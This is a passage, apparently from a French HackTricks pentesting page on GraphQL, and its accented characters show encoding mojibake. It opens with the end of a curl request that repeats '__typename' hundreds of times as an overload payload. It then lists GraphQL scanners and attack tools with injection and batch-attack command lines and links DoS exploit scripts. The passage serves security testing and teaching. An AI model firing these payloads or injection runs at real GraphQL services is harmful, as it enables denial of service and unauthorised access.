\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
Outils
Scanners de vulnérabilités
- https://github.com/dolevf/graphql-cop : Tester les erreurs de configuration courantes des points de terminaison graphql
- https://github.com/assetnote/batchql : Script d'audit de sĂ©curitĂ© GraphQL axĂ© sur l'exĂ©cution de requĂȘtes et de mutations GraphQL en lot.
- https://github.com/dolevf/graphw00f : Identifier le graphql utilisé
- https://github.com/gsmith257-cyber/GraphCrawler : BoĂźte Ă outils pouvant ĂȘtre utilisĂ©e pour rĂ©cupĂ©rer des schĂ©mas et rechercher des donnĂ©es sensibles, tester l'autorisation, forcer les schĂ©mas et trouver des chemins vers un type donnĂ©.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html : Peut ĂȘtre utilisĂ© comme autonome ou extension Burp.
- https://github.com/swisskyrepo/GraphQLmap : Peut Ă©galement ĂȘtre utilisĂ© comme client CLI pour automatiser les attaques :
python3 graphqlmap.py -u http://example.com/graphql --inject
- https://gitlab.com/dee-see/graphql-path-enum : Outil qui liste les différentes maniÚres de atteindre un type donné dans un schéma GraphQL.
- https://github.com/doyensec/GQLSpection : Le successeur des modes autonome et CLI d'InQL
- https://github.com/doyensec/inql : Extension Burp ou script python pour des tests avancĂ©s de GraphQL. Le Scanner est le cĆur d'InQL v5.0, oĂč vous pouvez analyser un point de terminaison GraphQL ou un fichier de schĂ©ma d'introspection local. Il gĂ©nĂšre automatiquement toutes les requĂȘtes et mutations possibles, les organisant dans une vue structurĂ©e pour votre analyse. Le composant Attacker vous permet d'exĂ©cuter des attaques GraphQL en lot, ce qui peut ĂȘtre utile pour contourner des limites de taux mal implĂ©mentĂ©es :
python3 inql.py -t http://example.com/graphql -o output.json
- https://github.com/nikitastupin/clairvoyance : Essayer d'obtenir le schĂ©ma mĂȘme avec l'introspection dĂ©sactivĂ©e en utilisant l'aide de certaines bases de donnĂ©es Graphql qui suggĂ©reront les noms des mutations et des paramĂštres.
Scripts pour exploiter des vulnérabilités courantes
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS : Collection de scripts pour exploiter les vulnérabilités de déni de service dans des environnements graphql vulnérables.
Clients
- https://github.com/graphql/graphiql : Client GUI
- https://altair.sirmuel.design/ : Client GUI
Tests automatiques
https://graphql-dashboard.herokuapp.com/
- Vidéo expliquant AutoGraphQL : https://www.youtube.com/watch?v=JJmufWfVvyU
Références
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.